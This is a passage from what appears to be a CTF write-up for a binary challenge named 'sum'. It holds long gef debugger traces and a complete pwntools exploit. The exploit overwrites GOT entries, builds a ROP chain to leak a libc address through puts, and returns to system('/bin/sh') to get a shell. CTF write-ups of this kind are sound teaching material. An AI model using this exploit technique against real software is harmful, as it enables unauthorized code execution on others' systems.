0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030 0x400636 <alarm@plt+6> push 0x3 0x40063b <alarm@plt+11> jmp 0x4005f0─────────────────────────────────────────────────────── arguments (guessed) ────printf@plt ( $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?), $rsi = 0x0000000001202a02, $rdx = 0x0000000000000020, $rcx = 0x0000000000000000)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤ ```
Then we have an iteration of the `pop rdi; ret` instruction to rid ourselves of the return address pushed onto the stack by `call`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e058f8│+0x0000: 0x00000000004009c4 → <main+193> mov eax, 0x0 ← $rsp0x00007ffcc5e05900│+0x0008: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi0x00007ffcc5e05908│+0x0010: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r130x00007ffcc5e05910│+0x0018: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x6010180x00007ffcc5e05918│+0x0020: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0028: 0x00000000000000000x00007ffcc5e05928│+0x0030: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0038: 0x0000000001202a02─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── → 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤ gef➤ s
Program received signal SIGALRM, Alarm clock.[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x20 $rsp : 0x00007ffcc5e05900 → 0x0000000000400a43 → <__libc_csu_init+99> pop rdi$rbp : 0x00007ffcc5e05940 → 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15$rsi : 0x1202a02 $rdi : 0x00000000004009c4 → <main+193> mov eax, 0x0$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret$r8 : 0x0 $r9 : 0x0 $r10 : 0x00007fc390381cc0 → 0x0002000200020002$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp$r13 : 0x00007ffcc5e05ac0 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05900│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp0x00007ffcc5e05908│+0x0008: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r130x00007ffcc5e05910│+0x0010: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x6010180x00007ffcc5e05918│+0x0018: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0020: 0x00000000000000000x00007ffcc5e05928│+0x0028: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0030: 0x0000000001202a020x00007ffcc5e05938│+0x0038: 0x791fd3bfbdbc2c00─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400a3e <__libc_csu_init+94> pop r13 0x400a40 <__libc_csu_init+96> pop r14 0x400a42 <__libc_csu_init+98> pop r15 → 0x400a44 <__libc_csu_init+100> ret ↳ 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018[#3] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤ s```
Next we execute the infoleak by popping the got address of puts into the rdi register:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05908│+0x0000: 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13 ← $rsp0x00007ffcc5e05910│+0x0008: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x6010180x00007ffcc5e05918│+0x0010: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0018: 0x00000000000000000x00007ffcc5e05928│+0x0020: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0028: 0x0000000001202a020x00007ffcc5e05938│+0x0030: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0038: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── → 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤ s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x20 $rsp : 0x00007ffcc5e05910 → 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018$rbp : 0x00007ffcc5e05940 → 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15$rsi : 0x1202a02 $rdi : 0x0000000000601018 → 0x00007fc3902639c0 → <puts+0> push r13$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret$r8 : 0x0 $r9 : 0x0 $r10 : 0x00007fc390381cc0 → 0x0002000200020002$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp$r13 : 0x00007ffcc5e05ac0 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05910│+0x0000: 0x0000000000400600 → <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018 ← $rsp0x00007ffcc5e05918│+0x0008: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt>0x00007ffcc5e05920│+0x0010: 0x00000000000000000x00007ffcc5e05928│+0x0018: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0020: 0x0000000001202a020x00007ffcc5e05938│+0x0028: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0030: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp0x00007ffcc5e05948│+0x0038: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400a3e <__libc_csu_init+94> pop r13 0x400a40 <__libc_csu_init+96> pop r14 0x400a42 <__libc_csu_init+98> pop r15 → 0x400a44 <__libc_csu_init+100> ret ↳ 0x400600 <puts@plt+0> jmp QWORD PTR [rip+0x200a12] # 0x601018 0x400606 <puts@plt+6> push 0x0 0x40060b <puts@plt+11> jmp 0x4005f0 0x400610 <__stack_chk_fail@plt+0> jmp QWORD PTR [rip+0x200a0a] # 0x601020 0x400616 <__stack_chk_fail@plt+6> push 0x1 0x40061b <__stack_chk_fail@plt+11> jmp 0x4005f0─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400600 → jmp QWORD PTR [rip+0x200a12] # 0x601018[#2] 0x7ffcc5e05930 → add ch, BYTE PTR [rdx]────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤ x/g $rdi0x601018: 0x7fc3902639c0gef➤ x/5i 0x7fc3902639c0 0x7fc3902639c0 <puts>: push r13 0x7fc3902639c2 <puts+2>: push r12 0x7fc3902639c4 <puts+4>: mov r12,rdi 0x7fc3902639c7 <puts+7>: push rbp 0x7fc3902639c8 <puts+8>: push rbx```
after that we call `printf`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05918│+0x0000: 0x00000000004009a7 → <main+164> call 0x400660 <exit@plt> ← $rsp0x00007ffcc5e05920│+0x0008: 0x00000000000000000x00007ffcc5e05928│+0x0010: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0018: 0x0000000001202a020x00007ffcc5e05938│+0x0020: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0028: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp0x00007ffcc5e05948│+0x0030: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]0x00007ffcc5e05950│+0x0038: 0x7fffffffffffffff─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x7fc3902639b2 <popen+130> jmp 0x7fc39026398d <popen+93> 0x7fc3902639b4 nop WORD PTR cs:[rax+rax*1+0x0] 0x7fc3902639be xchg ax, ax → 0x7fc3902639c0 <puts+0> push r13 0x7fc3902639c2 <puts+2> push r12 0x7fc3902639c4 <puts+4> mov r12, rdi 0x7fc3902639c7 <puts+7> push rbp 0x7fc3902639c8 <puts+8> push rbx 0x7fc3902639c9 <puts+9> sub rsp, 0x8─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x7fc3902639c0 → puts()[#1] 0x4009a7 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x00007fc3902639c0 in puts () from ./libc.sogef➤ finish```
Then we end up at `exit`, which will bring us back to the start of `main`:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffcc5e05920│+0x0000: 0x0000000000000000 ← $rsp0x00007ffcc5e05928│+0x0008: 0x00007ffcc5e05930 → 0x0000000001202a020x00007ffcc5e05930│+0x0010: 0x0000000001202a020x00007ffcc5e05938│+0x0018: 0x791fd3bfbdbc2c000x00007ffcc5e05940│+0x0020: 0x00007ffcc5e05990 → 0x00007ffcc5e059e0 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp0x00007ffcc5e05948│+0x0028: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]0x00007ffcc5e05950│+0x0030: 0x7fffffffffffffff0x00007ffcc5e05958│+0x0038: 0x7fffffffff9fefd7─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40099b <main+152> (bad) 0x40099c <main+153> inc DWORD PTR [rbx+0xa7e05f8] 0x4009a2 <main+159> mov edi, 0xffffffff → 0x4009a7 <main+164> call 0x400660 <exit@plt> ↳ 0x400660 <exit@plt+0> jmp QWORD PTR [rip+0x2009e2] # 0x601048 0x400666 <exit@plt+6> push 0x6 0x40066b <exit@plt+11> jmp 0x4005f0 0x400670 <_start+0> xor ebp, ebp 0x400672 <_start+2> mov r9, rdx 0x400675 <_start+5> pop rsi─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── arguments (guessed) ────exit@plt ( $rdi = 0x0000000000000001, $rsi = 0x00007fc3905cf7e3 → 0x5d08c0000000000a, $rdx = 0x00007fc3905d08c0 → 0x0000000000000000, $rcx = 0x00007fc3902f3154 → 0x5477fffff0003d48 ("H="?))─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009a7 → main()────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint 2, 0x00000000004009a7 in main ()gef➤ ```
So now we have a libc infoleak, and a qword write. This is all we need to pwn the code. I initially tried doing a oneshot gadget got overwrite, however none of the conditions were met when it was executed. Then I just did another rop gadget using `printf` again, to just pop the libc address of `/bin/sh` (which we know thanks to the libc infoleak) into the `rdi` register, and then return to system. Let's see the rop chain in action:
First we hit `printf` again:```───────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f20│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0010: 0x00007fab33435440 → <system+0> test rdi, rdi0x00007ffd12150f38│+0x0018: 0x00000000000000000x00007ffd12150f40│+0x0020: 0x00000000000000000x00007ffd12150f48│+0x0028: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00─────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4009af <main+172> lock mov rsi, rax 0x4009b3 <main+176> lea rdi, [rip+0x11b] # 0x400ad5 0x4009ba <main+183> mov eax, 0x0 → 0x4009bf <main+188> call 0x400620 <printf@plt> ↳ 0x400620 <printf@plt+0> jmp QWORD PTR [rip+0x200a02] # 0x601028 0x400626 <printf@plt+6> push 0x2 0x40062b <printf@plt+11> jmp 0x4005f0 0x400630 <alarm@plt+0> jmp QWORD PTR [rip+0x2009fa] # 0x601030 0x400636 <alarm@plt+6> push 0x3 0x40063b <alarm@plt+11> jmp 0x4005f0─────────────────────────────────────────────────────── arguments (guessed) ────printf@plt ( $rdi = 0x0000000000400ad5 → 0x0100000a756c6c25 ("%llu"?), $rsi = 0x0000ff5666dcfd1d, $rdx = 0x0000000000000018, $rcx = 0x0000000000000000)─────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: BREAKPOINT───────────────────────────────────────────────────────────────────── trace ────[#0] 0x4009bf → main()────────────────────────────────────────────────────────────────────────────────
Breakpoint 1, 0x00000000004009bf in main ()gef➤ ```
Then we have the `pop rdi; ret` to rid ourselves of the return address:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f18│+0x0000: 0x00000000004009c4 → <main+193> mov eax, 0x0 ← $rsp0x00007ffd12150f20│+0x0008: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi0x00007ffd12150f28│+0x0010: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0018: 0x00007fab33435440 → <system+0> test rdi, rdi0x00007ffd12150f38│+0x0020: 0x00000000000000000x00007ffd12150f40│+0x0028: 0x00000000000000000x00007ffd12150f48│+0x0030: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0038: 0x0000ff5666dcfd1d─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── → 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤ s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x18 $rsp : 0x00007ffd12150f20 → 0x0000000000400a43 → <__libc_csu_init+99> pop rdi$rbp : 0x00007ffd12150f60 → 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15$rsi : 0xff5666dcfd1d $rdi : 0x00000000004009c4 → <main+193> mov eax, 0x0$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret$r8 : 0x0 $r9 : 0x0 $r10 : 0x00007fab33584cc0 → 0x0002000200020002$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp$r13 : 0x00007ffd12151110 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f20│+0x0000: 0x0000000000400a43 → <__libc_csu_init+99> pop rdi ← $rsp0x00007ffd12150f28│+0x0008: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)0x00007ffd12150f30│+0x0010: 0x00007fab33435440 → <system+0> test rdi, rdi0x00007ffd12150f38│+0x0018: 0x00000000000000000x00007ffd12150f40│+0x0020: 0x00000000000000000x00007ffd12150f48│+0x0028: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0030: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0038: 0xc21062d171a89f00─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400a3e <__libc_csu_init+94> pop r13 0x400a40 <__libc_csu_init+96> pop r14 0x400a42 <__libc_csu_init+98> pop r15 → 0x400a44 <__libc_csu_init+100> ret ↳ 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x400a43 → __libc_csu_init()[#2] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤ ```
Then we have the rop gadget to through the address of `/bin/sh` into `rdi`, and return to system:```───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f28│+0x0000: 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?) ← $rsp0x00007ffd12150f30│+0x0008: 0x00007fab33435440 → <system+0> test rdi, rdi0x00007ffd12150f38│+0x0010: 0x00000000000000000x00007ffd12150f40│+0x0018: 0x00000000000000000x00007ffd12150f48│+0x0020: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0028: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0030: 0xc21062d171a89f000x00007ffd12150f60│+0x0038: 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── → 0x400a43 <__libc_csu_init+99> pop rdi 0x400a44 <__libc_csu_init+100> ret 0x400a45 nop 0x400a46 nop WORD PTR cs:[rax+rax*1+0x0] 0x400a50 <__libc_csu_fini+0> repz ret 0x400a52 add BYTE PTR [rax], al─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a43 → __libc_csu_init()[#1] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a43 in __libc_csu_init ()gef➤ s[ Legend: Modified register | Code | Heap | Stack | String ]───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax : 0x0 $rbx : 0x0 $rcx : 0x0 $rdx : 0x18 $rsp : 0x00007ffd12150f30 → 0x00007fab33435440 → <system+0> test rdi, rdi$rbp : 0x00007ffd12150f60 → 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15$rsi : 0xff5666dcfd1d $rdi : 0x00007fab33599e9a → 0x0068732f6e69622f ("/bin/sh"?)$rip : 0x0000000000400a44 → <__libc_csu_init+100> ret$r8 : 0x0 $r9 : 0x0 $r10 : 0x00007fab33584cc0 → 0x0002000200020002$r11 : 0x0000000000400a6c → add BYTE PTR [rax], al$r12 : 0x0000000000400670 → <_start+0> xor ebp, ebp$r13 : 0x00007ffd12151110 → 0x0000000000000001$r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY parity ADJUST SIGN trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffd12150f30│+0x0000: 0x00007fab33435440 → <system+0> test rdi, rdi ← $rsp0x00007ffd12150f38│+0x0008: 0x00000000000000000x00007ffd12150f40│+0x0010: 0x00000000000000000x00007ffd12150f48│+0x0018: 0x00007ffd12150f50 → 0x0000ff5666dcfd1d0x00007ffd12150f50│+0x0020: 0x0000ff5666dcfd1d0x00007ffd12150f58│+0x0028: 0xc21062d171a89f000x00007ffd12150f60│+0x0030: 0x00007ffd12150f90 → 0x00007ffd12150fe0 → 0x00007ffd12151030 → 0x00000000004009e0 → <__libc_csu_init+0> push r15 ← $rbp0x00007ffd12150f68│+0x0038: 0x00000000004009ac → <main+169> mov rax, QWORD PTR [rbp-0x10]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x400a3e <__libc_csu_init+94> pop r13 0x400a40 <__libc_csu_init+96> pop r14 0x400a42 <__libc_csu_init+98> pop r15 → 0x400a44 <__libc_csu_init+100> ret ↳ 0x7fab33435440 <system+0> test rdi, rdi 0x7fab33435443 <system+3> je 0x7fab33435450 <system+16> 0x7fab33435445 <system+5> jmp 0x7fab33434eb0 0x7fab3343544a <system+10> nop WORD PTR [rax+rax*1+0x0] 0x7fab33435450 <system+16> lea rdi, [rip+0x164a4b] # 0x7fab33599ea2 0x7fab33435457 <system+23> sub rsp, 0x8─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "sum_ccafa40ee6a", stopped, reason: SINGLE STEP───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x400a44 → __libc_csu_init()[#1] 0x7fab33435440 → test rdi, rdi────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────0x0000000000400a44 in __libc_csu_init ()gef➤ x/s $rdi0x7fab33599e9a: "/bin/sh"gef➤ ```
## Exploit
Putting it all together, we have the following exploit:```from pwn import *
# Establish the target#target = remote("sum.chal.seccon.jp", 10001)target = process('sum_ccafa40ee6a5a675341787636292bf3c84d17264', env={"LD_PRELOAD":"./libc.so"})#gdb.attach(target, gdbscript='b *0x4009bf\nb *0x4009a7')
# Establish the libc / binary fileself = ELF('sum_ccafa40ee6a5a675341787636292bf3c84d17264')libc = ELF("libc.so")
# Establish some needed addressesmain = elf.symbols['main']
popRdi = 0x400a43
# A function to handle the qword writesdef write(adr, value): target.sendline("9223372036854775807") target.sendline(str(0x7fffffffffffffff - adr)) target.sendline("1") target.sendline("1") target.sendline(str(value))
target.sendline(str(adr))
# Overwrite got address of exit with the starting address of mainwrite(elf.got['exit'], main)
# Overwrite got address of printf with popRdi gadgetwrite(elf.got['printf'], popRdi)
# Rop chain to leak libc via puts(got_puts)target.sendline(str(popRdi)) # pop rdi to make puts calltarget.sendline(str(elf.got['puts'])) # got address of puts, argument to puts calltarget.sendline(str(elf.symbols['puts'])) # plt address of putstarget.sendline(str(0x4009a7)) # address of `call exit`, to bring us back to start of maintarget.sendline("0") # 0 to end number sequence
# Scan in output of program, to make it to the infoleakfor i in range(0, 18): print target.recvline()
# Scan in and parse out infoleak, figure out where libc base isleak = target.recvline().strip("\n")leak = u64(leak + "\x00"*(8 - len(leak)))base = leak - libc.symbols["puts"]
print "base is: " + hex(base)
# Rop chain to call system("/bin/sh")target.sendline(str(popRdi)) # pop rdi to make system calltarget.sendline(str(base + 0x1b3e9a)) # binsh libc addresstarget.sendline(str(base + libc.symbols["system"])) # libc address of system, which we will return totarget.sendline("0") # 0 to end sequence
target.interactive()```
